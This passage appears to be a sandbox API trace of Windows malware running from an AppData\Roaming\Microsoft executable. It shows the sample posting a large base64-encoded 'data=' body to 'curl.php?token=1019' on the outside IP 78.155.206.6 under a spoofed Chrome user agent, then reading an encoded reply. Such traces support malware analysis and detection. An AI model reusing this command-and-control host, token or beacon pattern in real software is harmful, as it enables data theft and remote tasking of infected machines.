prxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==" [0166.527] lstrlenA (lpString="data=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") returned 5797 [0166.527] lstrcpyW (in: lpString1=0x19f858, lpString2="curl.php?token=" | out: lpString1="curl.php?token=") returned="curl.php?token=" [0166.527] VirtualAlloc (lpAddress=0x0, dwSize=0x404, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0166.527] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2730000, nSize=0x200 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe")) returned 0x3a [0166.527] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0166.528] CreateFileMappingW (hFile=0x4ac, lpFileMappingAttributes=0x0, flProtect=0x8, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x4b0 [0166.528] MapViewOfFile (hFileMappingObject=0x4b0, dwDesiredAccess=0x1, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2740000 [0166.528] lstrlenW (lpString="curl.php?token=") returned 15 [0166.528] lstrlenA (lpString="1019") returned 4 [0166.528] lstrlenA (lpString="1019") returned 4 [0166.528] lstrlenA (lpString="1019") returned 4 [0166.528] lstrlenA (lpString="1019") returned 4 [0166.528] lstrlenA (lpString="1019") returned 4 [0166.528] lstrlenA (lpString="1019") returned 4 [0166.528] lstrlenA (lpString="1019") returned 4 [0166.528] lstrlenA (lpString="1019") returned 4 [0166.528] lstrlenA (lpString="1019") returned 4 [0166.528] UnmapViewOfFile (lpBaseAddress=0x2740000) returned 1 [0166.528] CloseHandle (hObject=0x4b0) returned 1 [0166.528] CloseHandle (hObject=0x4ac) returned 1 [0166.529] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0166.529] lstrlenW (lpString="Content-Type: application/x-www-form-urlencoded") returned 47 [0166.529] lstrlenA (lpString="data=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") returned 5797 [0166.529] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0166.529] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0166.529] InternetConnectW (hInternet=0xcc0004, lpszServerName="78.155.206.6", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0166.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0166.529] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="curl.php?token=1019") returned 19 [0166.529] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="curl.php?token=1019", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c [0166.529] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2710000*, dwOptionalLength=0x16a5 | out: lpOptional=0x2710000*) returned 1 [0169.396] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2720000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19f81c | out: lpBuffer=0x2720000*, lpdwNumberOfBytesRead=0x19f81c*=0x164d) returned 1 [0169.397] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2720000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19f81c | out: lpBuffer=0x2720000*, lpdwNumberOfBytesRead=0x19f81c*=0x0) returned 1 [0169.397] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0169.398] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0169.398] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.398] lstrlenA (lpString="g4cYyLBlM3r+cJjsmkotQdth9Mc+Xpk2GMDUpimxEzKxOmLAHxdmzAWo4BAcrgQMXzM61V1XwiyhAwQTrduRv9bWrQ/fel6T2bbttetOLwhf19u6VfjnSlHQfLH8LEycXQIJkYTs0Y2MKl1eVNrr1ceCwIwGuw78YXg2qBDVJxgKYl5NEMmZq0iXvXuFZj7Hxes0cytYg85S758/rUHzJuanfPQiqKW7Day4ySGgo/3S8S+rOtXbTR21ri3FFuOASAPq5a+9MD6hLm7De7L6tsQaDebfMHu8j6RuKOqbhM/TgbF/Gmiu9dsKxdI6gk+tAVS7QdfGCrTbqK+eH1HI/+RLT57U9Vy0gPW+hnXAlZjzzxbgOip/B4b0DOAVXgBVj9nlvGWPrrmrjNdiF2VsXr5bZNM/HcjAgrwdHENAFwZ+sWduY5M8GcupiBUE1cZxGGvSA3m+Q0LaIch2QGKP40N51Ola+gVNt15ofvrO4tdMmb6KUEBSaGDYvukP0jLlRtSZBysQ+wb2KAhgNcki5+QclnfBirU0LMIIHAydBXoiRGuMfQsNtI7FO3qQkVXSm9g0LagLuQ3p/RtcTt9BRo2JiTMIoMXuMGGSXRLuMfA4nZp4mOMFaI06TUiTzR+qordodKPXFJiSWn1MbBLpuqqxgl0xy2CoHERIpVjo3iivQjsvNrnGp3A0XjdIIYJy1vtFkU4cMry8xQywxbVa+t6Sff57aCURHX2rlV+BlDLhpNdJCQCVxKx5IKywn5MCK/h1yD8ILxAnjLcPA5umOoFVvbWQxn+1P1qe8vgBO4VAc4jlhYhTaG6EehXvBOKar/PeG4Kdgo71m2KokgzRC+vUOon91N8XROSiz80tMbVQZuuyZthbDqoQlL8IebjRn9d